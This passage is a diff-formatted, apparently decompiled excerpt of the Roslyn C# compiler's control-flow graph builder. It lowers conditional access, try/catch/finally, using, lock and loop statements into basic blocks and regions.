GetNextCaptureId(evalStackFrame.RegionBuilderOpt); + AddStatement(new FlowCaptureOperation(id, operation.Target.Syntax, CallNullableMember(valueCapture, SpecialMember.System_Nullable_T_GetValueOrDefault))); + } + ConditionalBranch(CallNullableMember(OperationCloner.CloneOperation(valueCapture), SpecialMember.System_Nullable_T_get_HasValue), jumpIfTrue: false, whenNull); + if (!isStatement) + { + _currentBasicBlock = null; + AddStatement(new FlowCaptureOperation(resultCaptureId, operation.Syntax, GetCaptureReference(id, operation.Target))); + PopStackFrame(evalStackFrame); + } + PopStackFrame(valueFrame); + UnconditionalBranch(afterCoalesce); + AppendNewBlock(whenNull); + EvalStackFrame evalStackFrame2 = PushStackFrame(); + SpillEvalStack(); + IOperation operation2 = VisitRequired(operation.Value); + if (!isStatement) + { + int nextCaptureId2 = GetNextCaptureId(evalStackFrame2.RegionBuilderOpt); + AddStatement(new FlowCaptureOperation(nextCaptureId2, operation2.Syntax, operation2)); + operation2 = GetCaptureReference(nextCaptureId2, operation2); + AddStatement(new FlowCaptureOperation(resultCaptureId, operation.Syntax, GetCaptureReference(nextCaptureId2, operation2))); + } + AddStatement(new SimpleAssignmentOperation(isRef: false, OperationCloner.CloneOperation(locationCapture), CreateConversion(operation2, operation.Target.Type), null, operation.Syntax, operation.Target.Type, operation.GetConstantValue(), isImplicit: true)); + PopStackFrameAndLeaveRegion(evalStackFrame2); + } + void standardReturn() + { + ConditionalBranch(MakeIsNullOperation(valueCapture), jumpIfTrue: true, whenNull); + if (!isStatement) + { + _currentBasicBlock = null; + AddStatement(new FlowCaptureOperation(resultCaptureId, operation.Syntax, OperationCloner.CloneOperation(valueCapture))); + } + PopStackFrameAndLeaveRegion(valueFrame); + UnconditionalBranch(afterCoalesce); + AppendNewBlock(whenNull); + EvalStackFrame frame2 = PushStackFrame(); + IOperation value = VisitRequired(operation.Value); + IOperation operation2 = new SimpleAssignmentOperation(isRef: false, OperationCloner.CloneOperation(locationCapture), value, null, operation.Syntax, operation.Type, operation.GetConstantValue(), isImplicit: true); + if (isStatement) + { + AddStatement(operation2); + } + else + { + AddStatement(new FlowCaptureOperation(resultCaptureId, operation.Syntax, operation2)); + } + PopStackFrameAndLeaveRegion(frame2); + } + } + + private static BasicBlockBuilder.Branch RegularBranch(BasicBlockBuilder destination) + { + return new BasicBlockBuilder.Branch + { + Destination = destination, + Kind = ControlFlowBranchSemantics.Regular + }; + } + + private static IOperation MakeInvalidOperation(ITypeSymbol? type, IOperation child) + { + return new InvalidOperation(ImmutableArray.Create(child), null, child.Syntax, type, null, isImplicit: true); + } + + private static IOperation MakeInvalidOperation(SyntaxNode syntax, ITypeSymbol? type, IOperation child1, IOperation child2) + { + return MakeInvalidOperation(syntax, type, ImmutableArray.Create(child1, child2)); + } + + private static IOperation MakeInvalidOperation(SyntaxNode syntax, ITypeSymbol? type, ImmutableArray children) + { + return new InvalidOperation(children, null, syntax, type, null, isImplicit: true); + } + + private IsNullOperation MakeIsNullOperation(IOperation operand) + { + return MakeIsNullOperation(operand, _compilation.GetSpecialType(SpecialType.System_Boolean)); + } + + private static IsNullOperation MakeIsNullOperation(IOperation operand, ITypeSymbol booleanType) + { + ConstantValue constantValue = operand.GetConstantValue(); + object obj; + if ((object)constantValue != null) + { + bool isNull = constantValue.IsNull; + obj = ConstantValue.Create(isNull); + } + else + { + obj = null; + } + ConstantValue constantValue2 = (ConstantValue)obj; + return new IsNullOperation(operand.Syntax, operand, booleanType, constantValue2); + } + + private IOperation? TryCallNullableMember(IOperation value, SpecialMember nullableMember) + { + ITypeSymbol type = value.Type; + IMethodSymbol methodSymbol = (IMethodSymbol)(_compilation.CommonGetSpecialTypeMember(nullableMember)?.GetISymbol()); + if (methodSymbol != null) + { + ImmutableArray.Enumerator enumerator = type.GetMembers(methodSymbol.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + if (current.OriginalDefinition.Equals(methodSymbol)) + { + methodSymbol = (IMethodSymbol)current; + return new InvocationOperation(methodSymbol, null, value, isVirtual: false, ImmutableArray.Empty, null, value.Syntax, methodSymbol.ReturnType, isImplicit: true); + } + } + } + return null; + } + + private IOperation CallNullableMember(IOperation value, SpecialMember nullableMember) + { + return TryCallNullableMember(value, nullableMember) ?? MakeInvalidOperation(ITypeSymbolHelpers.GetNullableUnderlyingType(value.Type), value); + } + + public override IOperation? VisitConditionalAccess(IConditionalAccessOperation operation, int? captureIdForResult) + { + SpillEvalStack(); + RegionBuilder currentRegionRequired = CurrentRegionRequired; + int num; + if (_currentStatement != operation) + { + if (_currentStatement == operation.Parent) + { + IOperation? currentStatement = _currentStatement; + num = ((currentStatement != null && currentStatement.Kind == OperationKind.ExpressionStatement) ? 1 : 0); + } + else + { + num = 0; + } + } + else + { + num = 1; + } + bool flag = (byte)num != 0; + EvalStackFrame frame = null; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (!flag) + { + frame = PushStackFrame(); + } + IConditionalAccessOperation conditionalAccessOperation = operation; + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + ConditionalAccessOperationTracker previousTracker = _currentConditionalAccessTracker; + _currentConditionalAccessTracker = new ConditionalAccessOperationTracker(instance, basicBlockBuilder); + IOperation operation2; + while (true) + { + operation2 = conditionalAccessOperation.Operation; + if (!isConditionalAccessInstancePresentInChildren(conditionalAccessOperation.WhenNotNull)) + { + VisitConditionalAccessTestExpression(operation2); + break; + } + instance.Push(operation2); + if (!(conditionalAccessOperation.WhenNotNull is IConditionalAccessOperation conditionalAccessOperation2)) + { + break; + } + conditionalAccessOperation = conditionalAccessOperation2; + } + if (flag) + { + IOperation operation3 = VisitRequired(conditionalAccessOperation.WhenNotNull); + resetConditionalAccessTracker(); + if (_currentStatement != operation) + { + IExpressionStatementOperation expressionStatementOperation = (IExpressionStatementOperation)_currentStatement; + operation3 = new ExpressionStatementOperation(operation3, null, expressionStatementOperation.Syntax, IsImplicit(expressionStatementOperation)); + } + AddStatement(operation3); + AppendNewBlock(basicBlockBuilder); + return null; + } + int num2 = captureIdForResult ?? GetNextCaptureId(currentRegionRequired); + if (ITypeSymbolHelpers.IsNullableType(operation.Type) && !ITypeSymbolHelpers.IsNullableType(conditionalAccessOperation.WhenNotNull.Type)) + { + IOperation operand = VisitRequired(conditionalAccessOperation.WhenNotNull); + AddStatement(new FlowCaptureOperation(num2, conditionalAccessOperation.WhenNotNull.Syntax, MakeNullable(operand, operation.Type))); + } + else + { + CaptureResultIfNotAlready(conditionalAccessOperation.WhenNotNull.Syntax, num2, VisitRequired(conditionalAccessOperation.WhenNotNull, num2)); + } + PopStackFrame(frame); + LeaveRegionsUpTo(currentRegionRequired); + resetConditionalAccessTracker(); + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block); + UnconditionalBranch(basicBlockBuilder2); + AppendNewBlock(basicBlockBuilder); + object obj; + if (operation.Operation != operation2) + { + obj = operation; + } + else + { + obj = operation2; + } + SyntaxNode syntax = ((IOperation)obj).Syntax; + AddStatement(new FlowCaptureOperation(num2, syntax, new DefaultValueOperation(null, syntax, operation.Type, (operation.Type.IsReferenceType && !ITypeSymbolHelpers.IsNullableType(operation.Type)) ? ConstantValue.Null : null, isImplicit: true))); + AppendNewBlock(basicBlockBuilder2); + return GetCaptureReference(num2, operation); + static bool checkInvalidChildren(InvalidOperation invalidOperation) + { + IOperation.OperationList.Enumerator enumerator = invalidOperation.ChildOperations.GetEnumerator(); + while (enumerator.MoveNext()) + { + IOperation current = enumerator.Current; + if (current is IConditionalAccessInstanceOperation || isConditionalAccessInstancePresentInChildren(current)) + { + return true; + } + } + return false; + } + static bool isConditionalAccessInstancePresentInChildren(IOperation operation5) + { + if (operation5 is InvalidOperation operation4) + { + return checkInvalidChildren(operation4); + } + Operation operation6 = (Operation)operation5; + while (true) + { + IOperation.OperationList.Enumerator enumerator = operation6.ChildOperations.GetEnumerator(); + if (!enumerator.MoveNext()) + { + break; + } + if (enumerator.Current is IConditionalAccessInstanceOperation) + { + return true; + } + if (enumerator.Current is InvalidOperation operation7) + { + return checkInvalidChildren(operation7); + } + operation6 = (Operation)enumerator.Current; + } + return false; + } + void resetConditionalAccessTracker() + { + _currentConditionalAccessTracker.Free(); + _currentConditionalAccessTracker = previousTracker; + } + } + + public override IOperation VisitConditionalAccessInstance(IConditionalAccessInstanceOperation operation, int? captureIdForResult) + { + IOperation testExpression = _currentConditionalAccessTracker.Operations.Pop(); + return VisitConditionalAccessTestExpression(testExpression); + } + + private IOperation VisitConditionalAccessTestExpression(IOperation testExpression) + { + _ = testExpression.Syntax; + ITypeSymbol? type = testExpression.Type; + EvalStackFrame frame = PushStackFrame(); + PushOperand(VisitRequired(testExpression)); + SpillEvalStack(); + IOperation operation = PopOperand(); + PopStackFrame(frame); + ConditionalBranch(MakeIsNullOperation(operation), jumpIfTrue: true, _currentConditionalAccessTracker.WhenNull); + _currentBasicBlock = null; + IOperation operation2 = OperationCloner.CloneOperation(operation); + if (ITypeSymbolHelpers.IsNullableType(type)) + { + operation2 = CallNullableMember(operation2, SpecialMember.System_Nullable_T_GetValueOrDefault); + } + return operation2; + } + + public override IOperation? VisitExpressionStatement(IExpressionStatementOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + IOperation operation2 = Visit(operation.Operation); + if (operation2 == null) + { + return FinishVisitingStatement(operation); + } + if (operation.Operation.Kind == OperationKind.Throw) + { + return FinishVisitingStatement(operation); + } + return FinishVisitingStatement(operation, new ExpressionStatementOperation(operation2, null, operation.Syntax, IsImplicit(operation))); + } + + public override IOperation? VisitWhileLoop(IWhileLoopOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + RegionBuilder region = new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, operation.Locals); + BasicBlockBuilder labeledOrNewBlock = GetLabeledOrNewBlock(operation.ContinueLabel); + BasicBlockBuilder dest = GetLabeledOrNewBlock(operation.ExitLabel); + if (operation.ConditionIsTop) + { + AppendNewBlock(labeledOrNewBlock); + EnterRegion(region); + VisitConditionalBranch(operation.Condition, ref dest, operation.ConditionIsUntil); + VisitStatement(operation.Body); + UnconditionalBranch(labeledOrNewBlock); + } + else + { + BasicBlockBuilder dest2 = new BasicBlockBuilder(BasicBlockKind.Block); + AppendNewBlock(dest2); + EnterRegion(region); + VisitStatement(operation.Body); + AppendNewBlock(labeledOrNewBlock); + if (operation.Condition != null) + { + VisitConditionalBranch(operation.Condition, ref dest2, !operation.ConditionIsUntil); + } + else + { + UnconditionalBranch(dest2); + } + } + LeaveRegion(); + AppendNewBlock(dest); + return FinishVisitingStatement(operation); + } + + public override IOperation? VisitTry(ITryOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + BasicBlockBuilder labeledOrNewBlock = GetLabeledOrNewBlock(operation.ExitLabel); + if (operation.Catches.IsEmpty && operation.Finally == null) + { + VisitStatement(operation.Body); + AppendNewBlock(labeledOrNewBlock); + return FinishVisitingStatement(operation); + } + RegionBuilder regionBuilder = null; + bool flag = operation.Finally != null; + if (flag) + { + regionBuilder = new RegionBuilder(ControlFlowRegionKind.TryAndFinally); + EnterRegion(regionBuilder); + EnterRegion(new RegionBuilder(ControlFlowRegionKind.Try)); + } + bool num = !operation.Catches.IsEmpty; + if (num) + { + EnterRegion(new RegionBuilder(ControlFlowRegionKind.TryAndCatch)); + EnterRegion(new RegionBuilder(ControlFlowRegionKind.Try)); + } + VisitStatement(operation.Body); + UnconditionalBranch(labeledOrNewBlock); + if (num) + { + LeaveRegion(); + ImmutableArray.Enumerator enumerator = operation.Catches.GetEnumerator(); + while (enumerator.MoveNext()) + { + ICatchClauseOperation current = enumerator.Current; + RegionBuilder regionBuilder2 = null; + IOperation exceptionDeclarationOrExpression = current.ExceptionDeclarationOrExpression; + IOperation filter = current.Filter; + bool flag2 = filter != null; + BasicBlockBuilder dest = new BasicBlockBuilder(BasicBlockKind.Block); + if (flag2) + { + regionBuilder2 = new RegionBuilder(ControlFlowRegionKind.FilterAndHandler, current.ExceptionType, current.Locals); + EnterRegion(regionBuilder2); + RegionBuilder region = new RegionBuilder(ControlFlowRegionKind.Filter, current.ExceptionType); + EnterRegion(region); + AddExceptionStore(current.ExceptionType, exceptionDeclarationOrExpression); + VisitConditionalBranch(filter, ref dest, jumpIfTrue: true); + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + AppendNewBlock(basicBlockBuilder); + basicBlockBuilder.FallThrough.Kind = ControlFlowBranchSemantics.StructuredExceptionHandling; + LeaveRegion(); + } + RegionBuilder region2 = new RegionBuilder(ControlFlowRegionKind.Catch, current.ExceptionType, flag2 ? default(ImmutableArray) : current.Locals); + EnterRegion(region2); + AppendNewBlock(dest, linkToPrevious: false); + if (!flag2) + { + AddExceptionStore(current.ExceptionType, exceptionDeclarationOrExpression); + } + VisitStatement(current.Handler); + UnconditionalBranch(labeledOrNewBlock); + LeaveRegion(); + if (flag2) + { + LeaveRegion(); + } + } + LeaveRegion(); + } + if (flag) + { + LeaveRegion(); + RegionBuilder region3 = new RegionBuilder(ControlFlowRegionKind.Finally); + EnterRegion(region3); + AppendNewBlock(new BasicBlockBuilder(BasicBlockKind.Block)); + VisitStatement(operation.Finally); + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block); + AppendNewBlock(basicBlockBuilder2); + basicBlockBuilder2.FallThrough.Kind = ControlFlowBranchSemantics.StructuredExceptionHandling; + LeaveRegion(); + LeaveRegion(); + } + AppendNewBlock(labeledOrNewBlock, linkToPrevious: false); + return FinishVisitingStatement(operation); + } + + private void AddExceptionStore(ITypeSymbol exceptionType, IOperation? exceptionDeclarationOrExpression) + { + if (exceptionDeclarationOrExpression != null) + { + SyntaxNode syntax = exceptionDeclarationOrExpression.Syntax; + IOperation operation; + if (exceptionDeclarationOrExpression.Kind == OperationKind.VariableDeclarator) + { + ILocalSymbol symbol = ((IVariableDeclaratorOperation)exceptionDeclarationOrExpression).Symbol; + operation = new LocalReferenceOperation(symbol, isDeclaration: true, null, syntax, symbol.Type, null, isImplicit: true); + } + else + { + operation = VisitRequired(exceptionDeclarationOrExpression); + } + if (operation != null) + { + AddStatement(new SimpleAssignmentOperation(isRef: false, operation, new CaughtExceptionOperation(syntax, exceptionType), null, syntax, null, null, isImplicit: true)); + } + } + } + + public override IOperation VisitCatchClause(ICatchClauseOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 3818); + } + + public override IOperation? VisitReturn(IReturnOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + IOperation operation2 = Visit(operation.ReturnedValue); + switch (operation.Kind) + { + case OperationKind.YieldReturn: + AddStatement(new ReturnOperation(operation2, OperationKind.YieldReturn, null, operation.Syntax, IsImplicit(operation))); + break; + case OperationKind.Return: + case OperationKind.YieldBreak: + { + BasicBlockBuilder currentBasicBlock = CurrentBasicBlock; + LinkBlocks(CurrentBasicBlock, _exit, (operation2 == null) ? ControlFlowBranchSemantics.Regular : ControlFlowBranchSemantics.Return); + currentBasicBlock.BranchValue = Operation.SetParentOperation(operation2, null); + _currentBasicBlock = null; + break; + } + default: + throw ExceptionUtilities.UnexpectedValue(operation.Kind); + } + return FinishVisitingStatement(operation); + } + + public override IOperation? VisitLabeled(ILabeledOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + VisitLabel(operation.Label); + VisitStatement(operation.Operation); + return FinishVisitingStatement(operation); + } + + public void VisitLabel(ILabelSymbol operation) + { + BasicBlockBuilder basicBlockBuilder = GetLabeledOrNewBlock(operation); + if (basicBlockBuilder.Ordinal != -1) + { + basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + } + AppendNewBlock(basicBlockBuilder); + } + + private BasicBlockBuilder GetLabeledOrNewBlock(ILabelSymbol? labelOpt) + { + if (labelOpt == null) + { + return new BasicBlockBuilder(BasicBlockKind.Block); + } + BasicBlockBuilder value; + if (_labeledBlocks == null) + { + _labeledBlocks = PooledDictionary.GetInstance(); + } + else if (_labeledBlocks.TryGetValue(labelOpt, out value)) + { + return value; + } + value = new BasicBlockBuilder(BasicBlockKind.Block); + _labeledBlocks.Add(labelOpt, value); + return value; + } + + public override IOperation? VisitBranch(IBranchOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + UnconditionalBranch(GetLabeledOrNewBlock(operation.Target)); + return FinishVisitingStatement(operation); + } + + public override IOperation? VisitEmpty(IEmptyOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + return FinishVisitingStatement(operation); + } + + public override IOperation? VisitThrow(IThrowOperation operation, int? captureIdForResult) + { + bool num = _currentStatement == operation; + if (!num) + { + SpillEvalStack(); + } + EvalStackFrame frame = PushStackFrame(); + LinkThrowStatement(Visit(operation.Exception)); + PopStackFrameAndLeaveRegion(frame); + AppendNewBlock(new BasicBlockBuilder(BasicBlockKind.Block), linkToPrevious: false); + if (num) + { + return null; + } + return new NoneOperation(ImmutableArray.Empty, null, operation.Syntax, null, null, isImplicit: true); + } + + private void LinkThrowStatement(IOperation? exception) + { + BasicBlockBuilder currentBasicBlock = CurrentBasicBlock; + currentBasicBlock.BranchValue = Operation.SetParentOperation(exception, null); + currentBasicBlock.FallThrough.Kind = ((exception == null) ? ControlFlowBranchSemantics.Rethrow : ControlFlowBranchSemantics.Throw); + } + + public override IOperation? VisitUsing(IUsingOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + DisposeOperationInfo disposeInfo = ((UsingOperation)operation).DisposeInfo; + HandleUsingOperationParts(operation.Resources, operation.Body, disposeInfo.DisposeMethod, disposeInfo.DisposeArguments, operation.Locals, operation.IsAsynchronous); + return FinishVisitingStatement(operation); + } + + private void HandleUsingOperationParts(IOperation resources, IOperation body, IMethodSymbol? disposeMethod, ImmutableArray disposeArguments, ImmutableArray locals, bool isAsynchronous) + { + RegionBuilder region = new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, locals); + EnterRegion(region); + ITypeSymbol typeSymbol; + if (!isAsynchronous) + { + ITypeSymbol specialType = _compilation.GetSpecialType(SpecialType.System_IDisposable); + typeSymbol = specialType; + } + else + { + typeSymbol = _compilation.CommonGetWellKnownType(WellKnownType.System_IAsyncDisposable).GetITypeSymbol(); + } + ITypeSymbol iDisposable = typeSymbol; + if (resources is IVariableDeclarationGroupOperation variableDeclarationGroupOperation) + { + ArrayBuilder<(IVariableDeclarationOperation, IVariableDeclaratorOperation)> instance = ArrayBuilder<(IVariableDeclarationOperation, IVariableDeclaratorOperation)>.GetInstance(variableDeclarationGroupOperation.Declarations.Length); + ImmutableArray.Enumerator enumerator = variableDeclarationGroupOperation.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + IVariableDeclarationOperation current = enumerator.Current; + ImmutableArray.Enumerator enumerator2 = current.Declarators.GetEnumerator(); + while (enumerator2.MoveNext()) + { + IVariableDeclaratorOperation current2 = enumerator2.Current; + instance.Add((current, current2)); + } + } + instance.ReverseContents(); + processQueue(instance); + } + else + { + EvalStackFrame frame = PushStackFrame(); + IOperation operation = VisitRequired(resources); + if (shouldConvertToIDisposableBeforeTry(operation)) + { + operation = ConvertToIDisposable(operation, iDisposable); + } + PushOperand(operation); + SpillEvalStack(); + operation = PopOperand(); + PopStackFrame(frame); + processResource(operation, null); + LeaveRegionIfAny(frame); + } + LeaveRegion(); + void processQueue(ArrayBuilder<(IVariableDeclarationOperation, IVariableDeclaratorOperation)>? resourceQueueOpt) + { + if (resourceQueueOpt == null || resourceQueueOpt.Count == 0) + { + VisitStatement(body); + } + else + { + var (declaration, variableDeclaratorOperation) = resourceQueueOpt.Pop(); + HandleVariableDeclarator(declaration, variableDeclaratorOperation); + ILocalSymbol symbol = variableDeclaratorOperation.Symbol; + processResource(new LocalReferenceOperation(symbol, isDeclaration: false, null, variableDeclaratorOperation.Syntax, symbol.Type, null, isImplicit: true), resourceQueueOpt); + } + } + void processResource(IOperation resource, ArrayBuilder<(IVariableDeclarationOperation, IVariableDeclaratorOperation)>? resourceQueueOpt) + { + RegionBuilder regionBuilder = null; + if (shouldConvertToIDisposableBeforeTry(resource)) + { + regionBuilder = new RegionBuilder(ControlFlowRegionKind.LocalLifetime); + EnterRegion(regionBuilder); + resource = ConvertToIDisposable(resource, iDisposable); + int nextCaptureId = GetNextCaptureId(regionBuilder); + AddStatement(new FlowCaptureOperation(nextCaptureId, resource.Syntax, resource)); + resource = GetCaptureReference(nextCaptureId, resource); + } + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + EnterRegion(new RegionBuilder(ControlFlowRegionKind.TryAndFinally)); + EnterRegion(new RegionBuilder(ControlFlowRegionKind.Try)); + processQueue(resourceQueueOpt); + UnconditionalBranch(basicBlockBuilder); + LeaveRegion(); + AddDisposingFinally(resource, requiresRuntimeConversion: false, iDisposable, disposeMethod, disposeArguments, isAsynchronous); + LeaveRegion(); + if (regionBuilder != null) + { + LeaveRegion(); + } + AppendNewBlock(basicBlockBuilder, linkToPrevious: false); + } + static bool shouldConvertToIDisposableBeforeTry(IOperation resource) + { + if (resource.Type != null) + { + return resource.Type.Kind == SymbolKind.DynamicType; + } + return true; + } + } + + private void AddDisposingFinally(IOperation resource, bool requiresRuntimeConversion, ITypeSymbol iDisposable, IMethodSymbol? disposeMethod, ImmutableArray disposeArguments, bool isAsynchronous) + { + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + basicBlockBuilder.FallThrough.Kind = ControlFlowBranchSemantics.StructuredExceptionHandling; + RegionBuilder regionBuilder = new RegionBuilder(ControlFlowRegionKind.Finally); + EnterRegion(regionBuilder); + AppendNewBlock(new BasicBlockBuilder(BasicBlockKind.Block)); + if (requiresRuntimeConversion) + { + resource = ConvertToIDisposable(resource, iDisposable, isTryCast: true); + int nextCaptureId = GetNextCaptureId(regionBuilder); + AddStatement(new FlowCaptureOperation(nextCaptureId, resource.Syntax, resource)); + resource = GetCaptureReference(nextCaptureId, resource); + } + if (requiresRuntimeConversion || !isNotNullableValueType(resource.Type)) + { + IOperation condition = MakeIsNullOperation(OperationCloner.CloneOperation(resource)); + ConditionalBranch(condition, jumpIfTrue: true, basicBlockBuilder); + _currentBasicBlock = null; + } + if (!iDisposable.Equals(resource.Type) && disposeMethod == null) + { + resource = ConvertToIDisposable(resource, iDisposable); + } + EvalStackFrame frame = PushStackFrame(); + AddStatement(tryDispose(resource) ?? MakeInvalidOperation(null, resource)); + PopStackFrameAndLeaveRegion(frame); + AppendNewBlock(basicBlockBuilder); + LeaveRegion(); + static bool isNotNullableValueType([NotNullWhen(true)] ITypeSymbol? type) + { + if (type != null && type.IsValueType) + { + return !ITypeSymbolHelpers.IsNullableType(type); + } + return false; + } + IOperation? tryDispose(IOperation value) + { + IMethodSymbol methodSymbol = disposeMethod ?? (isAsynchronous ? ((IMethodSymbol)(_compilation.CommonGetWellKnownTypeMember(WellKnownMember.System_IAsyncDisposable__DisposeAsync)?.GetISymbol())) : ((IMethodSymbol)(_compilation.CommonGetSpecialTypeMember(SpecialMember.System_IDisposable__Dispose)?.GetISymbol()))); + if (methodSymbol != null) + { + ImmutableArray arguments; + if (disposeMethod != null) + { + PushOperand(value); + arguments = VisitArguments(disposeArguments, instancePushed: true); + value = PopOperand(); + } + else + { + arguments = ImmutableArray.Empty; + } + InvocationOperation invocationOperation = new InvocationOperation(methodSymbol, null, value, disposeMethod?.IsVirtual ?? true, arguments, null, value.Syntax, methodSymbol.ReturnType, isImplicit: true); + if (isAsynchronous) + { + return new AwaitOperation(invocationOperation, null, value.Syntax, _compilation.GetSpecialType(SpecialType.System_Void), isImplicit: true); + } + return invocationOperation; + } + return null; + } + } + + private IOperation ConvertToIDisposable(IOperation operand, ITypeSymbol iDisposable, bool isTryCast = false) + { + ConstantValue constantValue; + return new ConversionOperation(operand, _compilation.ClassifyConvertibleConversion(operand, iDisposable, out constantValue), isTryCast, isChecked: false, null, operand.Syntax, iDisposable, constantValue, isImplicit: true); + } + + public override IOperation? VisitLock(ILockOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + ITypeSymbol specialType = _compilation.GetSpecialType(SpecialType.System_Object); + LockOperation lockOperation = (LockOperation)operation; + RegionBuilder regionBuilder = new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, (lockOperation.LockTakenSymbol != null) ? ImmutableArray.Create(lockOperation.LockTakenSymbol) : ImmutableArray.Empty); + EnterRegion(regionBuilder); + EvalStackFrame frame = PushStackFrame(); + IOperation operation2 = VisitRequired(operation.LockedValue); + if (!specialType.Equals(operation2.Type)) + { + operation2 = CreateConversion(operation2, specialType); + } + PushOperand(operation2); + SpillEvalStack(); + operation2 = PopOperand(); + PopStackFrame(frame); + IMethodSymbol methodSymbol = (IMethodSymbol)(_compilation.CommonGetWellKnownTypeMember(WellKnownMember.System_Threading_Monitor__Enter2)?.GetISymbol()); + bool num = methodSymbol == null; + if (num) + { + methodSymbol = (IMethodSymbol)(_compilation.CommonGetWellKnownTypeMember(WellKnownMember.System_Threading_Monitor__Enter)?.GetISymbol()); + if (methodSymbol == null) + { + AddStatement(MakeInvalidOperation(null, operation2)); + } + else + { + AddStatement(new InvocationOperation(methodSymbol, null, null, isVirtual: false, ImmutableArray.Create((IArgumentOperation)new ArgumentOperation(ArgumentKind.Explicit, methodSymbol.Parameters[0], operation2, OperationFactory.IdentityConversion, OperationFactory.IdentityConversion, null, operation2.Syntax, isImplicit: true)), null, operation2.Syntax, methodSymbol.ReturnType, isImplicit: true)); + } + } + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + EnterRegion(new RegionBuilder(ControlFlowRegionKind.TryAndFinally)); + EnterRegion(new RegionBuilder(ControlFlowRegionKind.Try)); + IOperation operation3 = null; + if (!num) + { + operation3 = new LocalReferenceOperation(lockOperation.LockTakenSymbol, isDeclaration: true, null, operation2.Syntax, lockOperation.LockTakenSymbol.Type, null, isImplicit: true); + AddStatement(new InvocationOperation(methodSymbol, null, null, isVirtual: false, ImmutableArray.Create((IArgumentOperation)new ArgumentOperation(ArgumentKind.Explicit, methodSymbol.Parameters[0], operation2, OperationFactory.IdentityConversion, OperationFactory.IdentityConversion, null, operation2.Syntax, isImplicit: true), (IArgumentOperation)new ArgumentOperation(ArgumentKind.Explicit, methodSymbol.Parameters[1], operation3, OperationFactory.IdentityConversion, OperationFactory.IdentityConversion, null, operation2.Syntax, isImplicit: true)), null, operation2.Syntax, methodSymbol.ReturnType, isImplicit: true)); + } + VisitStatement(operation.Body); + UnconditionalBranch(basicBlockBuilder); + LeaveRegion(); + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block) + { + FallThrough = + { + Kind = ControlFlowBranchSemantics.StructuredExceptionHandling + } + }; + EnterRegion(new RegionBuilder(ControlFlowRegionKind.Finally)); + AppendNewBlock(new BasicBlockBuilder(BasicBlockKind.Block)); + if (!num) + { + IOperation condition = new LocalReferenceOperation(lockOperation.LockTakenSymbol, isDeclaration: false, null, operation2.Syntax, lockOperation.LockTakenSymbol.Type, null, isImplicit: true); + ConditionalBranch(condition, jumpIfTrue: false, basicBlockBuilder2); + _currentBasicBlock = null; + } + IMethodSymbol methodSymbol2 = (IMethodSymbol)(_compilation.CommonGetWellKnownTypeMember(WellKnownMember.System_Threading_Monitor__Exit)?.GetISymbol()); + operation2 = OperationCloner.CloneOperation(operation2); + if (methodSymbol2 == null) + { + AddStatement(MakeInvalidOperation(null, operation2)); + } + else + { + AddStatement(new InvocationOperation(methodSymbol2, null, null, isVirtual: false, ImmutableArray.Create((IArgumentOperation)new ArgumentOperation(ArgumentKind.Explicit, methodSymbol2.Parameters[0], operation2, OperationFactory.IdentityConversion, OperationFactory.IdentityConversion, null, operation2.Syntax, isImplicit: true)), null, operation2.Syntax, methodSymbol2.ReturnType, isImplicit: true)); + } + AppendNewBlock(basicBlockBuilder2); + LeaveRegion(); + LeaveRegion(); + LeaveRegionsUpTo(regionBuilder); + LeaveRegion(); + AppendNewBlock(basicBlockBuilder, linkToPrevious: false); + return FinishVisitingStatement(operation); + } + + public override IOperation? VisitForEachLoop(IForEachLoopOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + RegionBuilder enumeratorCaptureRegion = new RegionBuilder(ControlFlowRegionKind.LocalLifetime); + EnterRegion(enumeratorCaptureRegion); + ForEachLoopOperationInfo info = ((ForEachLoopOperation)operation).Info; + RegionBuilder regionBuilder = null; + if (!operation.Locals.IsEmpty && operation.LoopControlVariable.Kind == OperationKind.VariableDeclarator) + { + ILocalSymbol symbol = ((IVariableDeclaratorOperation)operation.LoopControlVariable).Symbol; + foreach (IOperation item in operation.Collection.DescendantsAndSelf()) + { + if (item is ILocalReferenceOperation localReferenceOperation && localReferenceOperation.Local.Equals(symbol)) + { + regionBuilder = new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, ImmutableArray.Create(symbol)); + EnterRegion(regionBuilder); + break; + } + } + } + IOperation operation2 = getEnumerator(); + if (regionBuilder != null) + { + LeaveRegion(); + } + ForEachLoopOperationInfo forEachLoopOperationInfo = info; + if (forEachLoopOperationInfo != null && forEachLoopOperationInfo.NeedsDispose) + { + EnterRegion(new RegionBuilder(ControlFlowRegionKind.TryAndFinally)); + EnterRegion(new RegionBuilder(ControlFlowRegionKind.Try)); + } + BasicBlockBuilder labeledOrNewBlock = GetLabeledOrNewBlock(operation.ContinueLabel); + BasicBlockBuilder labeledOrNewBlock2 = GetLabeledOrNewBlock(operation.ExitLabel); + 